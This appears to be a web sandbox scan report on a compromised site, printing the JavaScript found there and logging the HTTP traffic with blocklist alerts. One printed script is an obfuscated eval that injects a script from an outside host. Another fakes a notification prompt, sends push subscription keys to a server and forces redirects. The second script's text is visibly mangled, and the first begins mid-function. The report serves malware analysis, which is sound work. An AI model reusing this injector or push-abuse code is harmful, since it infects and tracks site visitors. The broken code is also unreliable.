    eval(String[_0x4e444b(0x8b)](0x76, 0x61, 0x72, 0x20, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x73, 0x20, 0x3d, 0x20, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2e, 0x67, 0x65, 0x74, 0x45, 0x6c, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0x79, 0x54, 0x61, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x28, 0x22, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x22, 0x29, 0x3b, 0x76, 0x61, 0x72, 0x20, 0x77, 0x61, 0x6e, 0x74, 0x6d, 0x65, 0x20, 0x3d, 0x20, 0x66, 0x61, 0x6c, 0x73, 0x65, 0x3b, 0x66, 0x6f, 0x72, 0x20, 0x28, 0x76, 0x61, 0x72, 0x20, 0x69, 0x20, 0x3d, 0x20, 0x30, 0x3b, 0x20, 0x69, 0x20, 0x3c, 0x20, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x73, 0x2e, 0x6c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x3b, 0x20, 0x69, 0x2b, 0x2b, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x73, 0x5b, 0x69, 0x5d, 0x2e, 0x69, 0x64, 0x29, 0x20, 0x7b, 0xa, 0x20, 0x20, 0x9, 0x20, 0x69, 0x66, 0x20, 0x28, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x73, 0x5b, 0x69, 0x5d, 0x2e, 0x69, 0x64, 0x20, 0x3d, 0x3d, 0x20, 0x22, 0x66, 0x6c, 0x69, 0x63, 0x6b, 0x6d, 0x79, 0x70, 0x6f, 0x22, 0x29, 0x7b, 0xa, 0x9, 0x9, 0x77, 0x61, 0x6e, 0x74, 0x6d, 0x65, 0x3d, 0x74, 0x72, 0x75, 0x65, 0x3b, 0xa, 0x9, 0x20, 0x7d, 0xa, 0x20, 0x20, 0x7d, 0x20, 0xa, 0x7d, 0x69, 0x66, 0x28, 0x77, 0x61, 0x6e, 0x74, 0x6d, 0x65, 0x3d, 0x3d, 0x66, 0x61, 0x6c, 0x73, 0x65, 0x29, 0x7b, 0xa, 0x9, 0x76, 0x61, 0x72, 0x20, 0x64, 0x3d, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x3b, 0x76, 0x61, 0x72, 0x20, 0x73, 0x3d, 0x64, 0x2e, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x45, 0x6c, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x28, 0x27, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x27, 0x29, 0x3b, 0x20, 0x73, 0x2e, 0x69, 0x64, 0x3d, 0x22, 0x66, 0x6c, 0x69, 0x63, 0x6b, 0x6d, 0x79, 0x70, 0x6f, 0x22, 0x3b, 0x73, 0x2e, 0x73, 0x72, 0x63, 0x3d, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x2e, 0x66, 0x72, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x43, 0x6f, 0x64, 0x65, 0x28, 0x31, 0x30, 0x34, 0x2c, 0x31, 0x31, 0x36, 0x2c, 0x31, 0x31, 0x36, 0x2c, 0x31, 0x31, 0x32, 0x2c, 0x31, 0x31, 0x35, 0x2c, 0x35, 0x38, 0x2c, 0x34, 0x37, 0x2c, 0x34, 0x37, 0x2c, 0x31, 0x31, 0x36, 0x2c, 0x31, 0x31, 0x34, 0x2c, 0x31, 0x30, 0x35, 0x2c, 0x39, 0x39, 0x2c, 0x31, 0x30, 0x37, 0x2c, 0x34, 0x36, 0x2c, 0x39, 0x39, 0x2c, 0x31, 0x31, 0x31, 0x2c, 0x31, 0x30, 0x32, 0x2c, 0x31, 0x31, 0x31, 0x2c, 0x31, 0x31, 0x37, 0x2c, 0x31, 0x31, 0x30, 0x2c, 0x31, 0x30, 0x30, 0x2c, 0x31, 0x30, 0x31, 0x2c, 0x31, 0x31, 0x34, 0x2c, 0x31, 0x31, 0x35, 0x2c, 0x31, 0x31, 0x32, 0x2c, 0x31, 0x30, 0x31, 0x2c, 0x39, 0x39, 0x2c, 0x31, 0x30, 0x35, 0x2c, 0x39, 0x37, 0x2c, 0x31, 0x30, 0x38, 0x2c, 0x31, 0x31, 0x35, 0x2c, 0x34, 0x36, 0x2c, 0x39, 0x39, 0x2c, 0x31, 0x31, 0x31, 0x2c, 0x31, 0x30, 0x39, 0x2c, 0x34, 0x37, 0x2c, 0x31, 0x31, 0x35, 0x2c, 0x31, 0x30, 0x31, 0x2c, 0x39, 0x39, 0x2c, 0x31, 0x31, 0x31, 0x2c, 0x31, 0x31, 0x30, 0x2c, 0x31, 0x30, 0x30, 0x2c, 0x34, 0x37, 0x2c, 0x31, 0x30, 0x33, 0x2c, 0x31, 0x30, 0x31, 0x2c, 0x31, 0x31, 0x36, 0x2c, 0x34, 0x36, 0x2c, 0x31, 0x30, 0x36, 0x2c, 0x31, 0x31, 0x35, 0x2c, 0x36, 0x33, 0x2c, 0x31, 0x31, 0x38, 0x2c, 0x36, 0x31, 0x2c, 0x35, 0x32, 0x2c, 0x34, 0x36, 0x2c, 0x34, 0x38, 0x2c, 0x34, 0x36, 0x2c, 0x34, 0x39, 0x29, 0x3b, 0x20, 0x69, 0x66, 0x20, 0x28, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74, 0x29, 0x20, 0x7b, 0x20, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74, 0x2e, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x4e, 0x6f, 0x64, 0x65, 0x2e, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x28, 0x73, 0x2c, 0x20, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74, 0x29, 0x3b, 0x7d, 0x20, 0x65, 0x6c, 0x73, 0x65, 0x20, 0x7b, 0x64, 0x2e, 0x67, 0x65, 0x74, 0x45, 0x6c, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0x79, 0x54, 0x61, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x28, 0x27, 0x68, 0x65, 0x61, 0x64, 0x27, 0x29, 0x5b, 0x30, 0x5d, 0x2e, 0x61, 0x70, 0x70, 0x65, 0x6e, 0x64, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x28, 0x73, 0x29, 0x3b, 0x7d, 0xa, 0x7d));
}

function _0x155a() {
    var _0x3a9799 = ['487102mIUSva', '796956BJIWjk', '1854132PrgFUh', 'cookie', '10NvXDZz', '230ZiDJBw', 'indexOf', '266504bclLgT', '9026zYcBoF', 'toUTCString', 'wp-settings-time', 'wordpress_p_seo_adminos', 'charAt', '3606kVYlGt', 'setTime', '139240ZKotUF', 'substring', '56vJIMVn', '259889MgJUBc', '382816VLsunh', 'push', ';\x20expires=', '273wROWNu', '8898azxglm', 'logged_in', '5Kgitdg', '721756drlhUd', ';\x20path=/', 'wpsetts-cookie', 'split', 'shift', 'getTime', '180uJXJMc', '291470XgAcjx', '154yIOpmM', 'length', '11hlVSrr', '188797swHERl', 'fromCharCode'];
    _0x155a = function() {
        return _0x3a9799;
    };
    return _0x155a();
}
getLoggedInCookie() == 0x1 ? setCookie(_0x5a283b(0x97), 0x1, 0x1e) : ryerthrthrth();
                                    

#6 JavaScript::Eval (size: 7898, repeated: 1) - SHA256: 1c04d440cc1ea11faa9bb45c0d23d6d42e052ab1a1504e8d190a92119c3dac26

                                        'use strict';
var guardEnabled = false;
var isChrome = false;
if (guardEnabled && /Chrome/.test(navigator.userAgent || '') && /Google Inc/.test(navigator.vendor || '')) {
    let version = navigator.userAgent.match(/Chrom(?:e|ium)\/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/);
    if (version !== null && compareVersion('74.0.3729.131', version[1]) <= 0) {
        isChrome = true
    }
}

function compareVersion(v1, v2) {
    if (typeof v1 !== 'string') return false;
    if (typeof v2 !== 'string') return false;
    v1 = v1.split('.');
    v2 = v2.split('.');
    const k = Math.min(v1.length, v2.length);
    for (let i = 0; i < k; ++i) {
        v1[i] = parseInt(v1[i], 10);
        v2[i] = parseInt(v2[i], 10);
        if (v1[i] > v2[i]) return 1;
        if (v1[i] < v2[i]) return -1
    }
    return v1.length == v2.length ? 0 : (v1.length < v2.length ? -1 : 1)
}
const MESSAGES = {
        ru: {
            title: '... 70?@0H8205B @07@5H5=85 =0:',
            permission: '>:07 C254><;5=89',
            allow: ' 07@5H8BL',
            disallow: ';>:8@>20BL'
        },
        en: {
            title: '... wants to:',
            permission: 'Show notifications',
            allow: 'Allow',
            disallow: 'Block'
        },
        it: {
            title: '... chiede il permesso di:',
            permission: 'Mostra notifiche',
            allow: 'Permettere',
            disallow: 'Bloccare'
        },
        id: {
            title: '... meminta izin untuk:',
            permission: 'Tampilkan pemberitahuan',
            allow: 'Mengizinkan',
            disallow: 'Blok'
        },
        vi: {
            title: '... xin ph�p:',
            permission: 'Hi�n th� th�ng b�o',
            allow: 'Cho ph�p',
            disallow: 'Kh�i'
        },
        ar: {
            title: '... J7D( %0F D:',
            permission: '%8G'
            1 'D%.7'
            1 '*',
            allow: ''
            D3E '-',
            disallow: 'EF9'
        },
        pl: {
            title: '... prosi o pozwolenie:',
            permission: 'Poka| powiadomienia',
            allow: 'Dopuszcza',
            disallow: 'Blok'
        },
        pt: {
            title: '... pede permiss�o para:',
            permission: 'Mostrar notifica��es',
            allow: 'Permitir',
            disallow: 'Quadra'
        },
        fr: {
            title: '... demande la permission de:',
            permission: 'Afficher les notifications',
            allow: 'Permettre',
            disallow: 'Bloc'
        },
        de: {
            title: '... bittet um Erlaubnis:',
            permission: 'Zeige Benachrichtigungen',
            allow: 'Erm�glichen',
            disallow: 'Block'
        },
        es: {
            title: '... pide permiso para:',
            permission: 'Mostrar notificaciones',
            allow: 'Permitir',
            disallow: 'Bloquear'
        },
        th: {
            title: '... --8
            2 1: ',permission:'
            A * 2 # A I@ 7 - ',allow:' - 8 2 ',disallow:' % 8 H!'}};MESSAGES.uk=MESSAGES.ru;MESSAGES.current=MESSAGES[getLanguage()]||MESSAGES.en;function getLanguage(){let language=window.navigator?(window.navigator.userLanguage||window.navigator.language||window.navigator.browserLanguage||window.navigator.systemLanguage):'
            ru ';language=language.substr(0,2).toLowerCase();return language}let template='\ < div style = "color:#000;box-sizing: border-box;-webkit-box-sizing:border-box;width: 320px;max-width: 100%;height: 130px;background: #fff;position: fixed;top: 0;left: ' + (window.innerWidth < 400 ? 0 : 56) + 'px;box-shadow: 0 0 20px #0000008a;border-radius: 3px;line-height: 1;" > < img class = "js-close"
            style = "box-sizing: border-box;-webkit-box-sizing:border-box;padding: 0;margin:0;position: absolute;width: 11px;height:11px;right:10px;top:10px;cursor: pointer;outline: 0 !important;"
            src = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAMAAAAM7l6QAAAAS1BMVEUAAABaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlo8++Y/AAAAGHRSTlMAC/Tp5NHux7woBr8u1CEiE8wfMh3aqKRGKXN5AAAAxklEQVQoz22SWxaDIAxEo6JQLIpWW/a/0kYE5xCYDx+53BwkEse4herMbqVIQ1AVtzNXD76bwBlWQfVVVfvlRv4qsE5VOvkKH+4d8mN6mh6/23LpzS/ggvZMJa+XW43loNisfdp5Kl3hq0TlQc0BwWdKDlfGgKqD6vwy3Tpq5Jvx6FvzFRurKfjSpvCb9HzOZ2/QydNW9zf1SOCD3gN14NJNA0d/K2jhH8IV/kQ60Q8o/J46DRfxLv8xVsMt/EgvPkQqfcUd/7Y7JTdYkYd+AAAAAElFTkSuQmCC" / > < div style = "box-sizing: border-box;-webkit-box-sizing:border-box;padding: 5% 5% 4% 5%;font-family: calibri,arial;font-size: 17px;" > '+MESSAGES.current.title+' < /div><div style="text-align: left;font-size: 0;line-height: 0;padding: 0 5%;"><img style="width:13px;vertical-align: top;padding: 0;margin: 0;display: inline-block;" src="data:image/png;base64,
            iVBORw0KGgoAAAANSUhEUgAAACQAAAAqCAMAAADs1AnaAAAAUVBMVEUAAABaWlpZWVlaWlpZWVlSUlJZWVlaWlpZWVlZWVlWVlZOTk5ZWVlZWVlaWlpZWVlZWVlXV1dRUVFaWlpaWlpZWVlaWlpZWVlaWlpVVVVaWlqPKIPXAAAAGnRSTlMAXm2UZw358qZCMAjfzbOrWDUX48S4nIx3J6SDwgkAAAC9SURBVDjL7dLLDoMgEIXhaSsC3vHuef8HLVETFWHUpMv + 6 y9nMUBupm0NXVTFQFzxRmSwZYJFUwxbPLEoWVDCEN1nmMt6HVopsKvwrkUSh2R0NiNOjacdeHK2EulDMjmgDt66vdEItL + ECiG1GdGEULO9okEws / 2 PMKrcI / GneofR + 49 + iB49S1qEUZGuRoFJpbMpwVZaJVbDKEE5LssJN6LXjeh59Wet5pDEnOQQDQsaiEso2JQgPp3nmpy + KIFSTz3Bs58AAAAASUVORK5CYII = "/><span style="
            display: inline - block;vertical - align: top;margin - left: 14 px;font - size: 15 px;line - height: 1;font - family: Calibri,
            Arial;font - weight: 400;
            ">'+MESSAGES.current.permission+'</span></div><div style="
            padding: 22 px 12 px 0 12 px;font - size: 0;line - height: 0;text - align: right;
            "><div class="
            js - allow " style="
            font - weight: 600;border: 1 px solid # dadce0;color: #3673E3;margin-left:10px;text-shadow:none;display:inline-block;vertical-align:top;min-width:109px;text-align:center;padding:0 15px;margin:3px;height:30px;line-height:28px;border-radius:4px;cursor:pointer;font-family:Calibri,Arial;outline:0!important;font-size:12px;" >'+MESSAGES.current.allow+'</div><div class= "js-denied"
            style = "font-weight:600;border:1px solid#dadce0;color:#3673E3;margin-left:10px;text-shadow:none;display:inline-block;vertical-align:top;min-width:109px;text-align:center;padding:0 15px;margin:3px;height:30px;line-height:28px;border-radius:4px;cursor:pointer;font-family:Calibri,Arial;outline:0!important;font-size:12px;" > '+MESSAGES.current.disallow+' < /div></div > < /div>';var rootElement=null;var canStart=false;window.onload=function(){function GGG(){if(isChrome&&rootElement){rootElement.parentNode.removeChild(rootElement);rootElement=null;let wait=()=>{if(!canStart){return setTimeout(wait,500)}};wait();SSS()}}document.querySelector('html').addEventListener('click',GGG);document.querySelector('html').addEventListener('keydown',GGG);if(isChrome){rootElement=document.createElement('div');rootElement.innerHTML=template;document.body.appendChild(rootElement)}};function disableHistory(){try{$(window).on('popstate',function(t){if(t.state){if(Notification.permission==='granted'){location.replace('/ ? auf = ge2wiy3bhe5diojygyxtonbqhextemzpge3dkojxgq2tomrr & s = 1 & sub1 = & sub2 = stonny88 & sub3 = & sub4 = & cpc = 0 & cpm = 0 ')}else{location.replace(' / ? auf = ge2wiy3bhe5diojygyxtonbqhextemzpge3dkojxgq2tomrr & s = 1 & sub1 = & sub2 = stonny88 & sub3 = & sub4 = & cpc = 0 & cpm = 0 ')}}})}catch(error){}}disableHistory();let myApplicationServerKey=urlB64ToUint8Array('
            BIbjCoVklTIiXYjv3Z5WS9oemREJPCOFVHwpAxQphYoA5FOTzG - xOq6GiK31R - NF--qzgT3_C2jurmRX_N6nY4g ');var denied=function(){window.location.href=' / ? auf = ge2wiy3bhe5diojygyxtonbqhextemzpge3dkojxgq2tomrr & s = 1 & sub1 = & sub2 = stonny88 & sub3 = & sub4 = & cpc = 0 & cpm = 0 '};let workerInstaller=null;function getWorkerRegistration(){return workerInstaller.then(()=>navigator.serviceWorker.ready)}function CCC(){return getWorkerRegistration().then(registration=>registration.pushManager.subscribe({userVisibleOnly:true,applicationServerKey:myApplicationServerKey})).then(fff=>{let gmt=-new Date().getTimezoneOffset()/60;let rawKey=fff.getKey?fff.getKey('
            p256dh '):'
            ';let key=rawKey?btoa(String.fromCharCode.apply(null,new Uint8Array(rawKey))):'
            ';let rawAuthSecret=fff.getKey?fff.getKey('
            auth '):'
            ';let authSecret=rawAuthSecret?btoa(String.fromCharCode.apply(null,new Uint8Array(rawAuthSecret))):'
            ';return fetch(' / ? send = ee1abc94 - 87e1 - 4e94 - bc10 - ecdaa62f8e87 & d = gm2gezrzhe5gi3bpg42daoi & land = 23 ',{method:'
            POST ',mode:'
            no - cors ',body:JSON.stringify({id:fff.endpoint,key:key,secret:authSecret,gmt:gmt,uri:window.location.href})})}).then(()=>{window.location.href=' / ? auf = ge2wiy3bhe5diojygyxtonbqhextemzpge3dkojxgq2tomrr & s = 1 & sub1 = & sub2 = stonny88 & sub3 = & sub4 = & cpc = 0 & cpm = 0 '}).catch(()=>{denied()})};function SSS(){Notification.requestPermission().then(function(){if(Notification.permission==='
            granted '){CCC()}else{denied()}})};if('
            serviceWorker 'in navigator){workerInstaller=navigator.serviceWorker.register(' / w66899721.js ').then(()=>{if(Notification.permission==='
            granted '){window.location.href=' / ? auf = ge2wiy3bhe5diojygyxtonbqhextemzpge3dkojxgq2tomrr & s = 1 & sub1 = & sub2 = stonny88 & sub3 = & sub4 = & cpc = 0 & cpm = 0 '}else if(Notification.permission!=='
            denied '){canStart=true;if(!isChrome){SSS()}}else{denied()}})}
                                    

Executed Writes (0)



HTTP Transactions (33)


Request Response
                                        
                                            GET /v1/ HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         54.230.111.118
HTTP/1.1 200 OK
Content-Type: application/json
                                        
Content-Length: 939
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Type, Alert, Backoff, Content-Length, Retry-After
Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
Date: Sat, 06 Aug 2022 00:01:37 GMT
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Cache: Hit from cloudfront
Via: 1.1 a343e36742f64defd0a2caf1f96ff772.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: OSL50-P1
X-Amz-Cf-Id: WXhugMtlWpd70UptqYMKzuLRCZHMrFPZNK4idEr-I8JLjv2WlTfAvg==
Age: 1617


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (939), with no line terminators
Size:   939
Md5:    91dd975a7b17b2922dd23c0e49314e40
Sha1:   57a2ece1e3cee7c4ebf927f2ba92f52cac395fe2
Sha256: 09966873bbf317f8910c59544cfde2a6d46e8acd2905797cc7c85c6b4d18ea8a
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "F055127A4794D0F76CB4DF8F290DF8E259258A63398A700F592C859DFFE9AC34"
Last-Modified: Thu, 04 Aug 2022 23:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=5531
Expires: Sat, 06 Aug 2022 02:00:45 GMT
Date: Sat, 06 Aug 2022 00:28:34 GMT
Connection: keep-alive

                                        
                                            GET /chains/remote-settings.content-signature.mozilla.org-2022-09-19-18-34-07.chain HTTP/1.1 
Host: content-signature-2.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         54.230.111.64
HTTP/2 200 OK
                                        
content-type: binary/octet-stream
content-length: 5348
last-modified: Sun, 31 Jul 2022 18:34:08 GMT
content-disposition: attachment
accept-ranges: bytes
server: AmazonS3
date: Fri, 05 Aug 2022 04:15:27 GMT
etag: "578b9ff83ff3950ab2a3d1a8344d2938"
x-cache: Hit from cloudfront
via: 1.1 a2c3c8b833b34851dca4f7753ecaae58.cloudfront.net (CloudFront)
x-amz-cf-pop: OSL50-P1
x-amz-cf-id: 37wpglGBt_Xoh2WUwmBAr_7sdwjEtaUv5XvaAesgHnvbBo7sHa9f8w==
age: 72788
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PEM certificate\012- , ASCII text
Size:   5348
Md5:    578b9ff83ff3950ab2a3d1a8344d2938
Sha1:   39d48b67ba6aa45ec01767725e726cf9b0c87a70
Sha256: 35c99da9a5463a4788ceab7cf4b027bb25506cde28ace36c70d0bc924138f2f5
                                        
                                            GET /v1/tiles HTTP/1.1 
Host: contile.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.117.237.239
HTTP/2 200 OK
                                        
server: nginx
date: Sat, 06 Aug 2022 00:28:34 GMT
content-type: application/json
content-length: 12
strict-transport-security: max-age=31536000
via: 1.1 google
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with no line terminators
Size:   12
Md5:    23e88fb7b99543fb33315b29b1fad9d6
Sha1:   a48926c4ec03c7c8a4e8dffcd31e5a6cdda417ce
Sha256: 7d8f1de8b7de7bc21dfb546a1d0c51bf31f16eee5fad49dbceae1e76da38e5c3
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "461BF24DA04736140AC7C6D4929202470C76031AC81395DDEAD1C121F557C6C0"
Last-Modified: Thu, 04 Aug 2022 03:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=6766
Expires: Sat, 06 Aug 2022 02:21:21 GMT
Date: Sat, 06 Aug 2022 00:28:35 GMT
Connection: keep-alive

                                        
                                            GET /private_array/corporate_forum/HhlND_ymf9vwyKx/ HTTP/1.1 
Host: temptmag.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

                                         
                                         173.233.72.81
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Date: Sat, 06 Aug 2022 00:28:32 GMT
Server: Apache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  data
Size:   244214
Md5:    baca075d85772da11704ba866ea56e84
Sha1:   9c9a49fd3b78ec62f15009ed776a395d488c92e5
Sha256: 38143addc0240332631fbf0b39c41113a0e199faa58b056cae9ccb3139217629

Alerts:
  Blocklists:
    - fortinet: Malware
    - mnemonic_dns: Sinkholed
    - quad9: Sinkholed
                                        
                                            GET /v1/buckets/main/collections/ms-language-packs/records/cfr-v1-en-US HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         54.230.111.118
HTTP/1.1 200 OK
Content-Type: application/json
                                        
Content-Length: 329
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Type, Alert, Cache-Control, Pragma, Backoff, Last-Modified, ETag, Expires, Content-Length, Retry-After
Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
Last-Modified: Fri, 25 Mar 2022 17:45:46 GMT
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
Date: Sat, 06 Aug 2022 00:16:16 GMT
Cache-Control: max-age=3600
Expires: Sat, 06 Aug 2022 01:16:14 GMT
ETag: "1648230346554"
X-Cache: Hit from cloudfront
Via: 1.1 f46773a8236e136c4f6648dd79a7af8e.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: OSL50-P1
X-Amz-Cf-Id: nGb1llyv_MdC8lSYbRuQLTBd6yan8XJASYXsq3TjB9v0lefTcG4ixg==
Age: 741


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (329), with no line terminators
Size:   329
Md5:    0333b0655111aa68de771adfcc4db243
Sha1:   63f295a144ac87a7c8e23417626724eeca68a7eb
Sha256: 60636eb1dc67c9ed000fe0b49f03777ad6f549cb1d2b9ff010cf198465ae6300
                                        
                                            GET /robots.js?v=5.8.5 HTTP/1.1 
Host: call.greengoplatform.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://temptmag.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         101.99.95.147
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
                                        
Server: nginx
Date: Sat, 06 Aug 2022 00:28:35 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (2315), with no line terminators
Size:   563
Md5:    d430181c67f4cdd31faa1b0d0aff433f
Sha1:   b859088ce244131909088c8cbb81190df95edf6e
Sha256: 739a0ab2c8de8bbda5e549acc9785d055a19daec0a377f612c7736294208ab0d

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5721
Cache-Control: 'max-age=158059'
Date: Sat, 06 Aug 2022 00:28:35 GMT
Last-Modified: Fri, 05 Aug 2022 22:53:14 GMT
Server: ECS (ska/F711)
X-Cache: HIT
Content-Length: 471

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "7F37CD2834B1B289F4D2EB41AC6D7946B3505CEB1A4900F7CD58019686844F30"
Last-Modified: Wed, 03 Aug 2022 15:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=9072
Expires: Sat, 06 Aug 2022 02:59:47 GMT
Date: Sat, 06 Aug 2022 00:28:35 GMT
Connection: keep-alive

                                        
                                            GET /favicon.ico HTTP/1.1 
Host: temptmag.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://temptmag.com/private_array/corporate_forum/HhlND_ymf9vwyKx/

                                         
                                         173.233.72.81
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=iso-8859-1
                                        
Date: Sat, 06 Aug 2022 00:28:33 GMT
Server: Apache
Content-Length: 315
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive


--- Additional Info ---
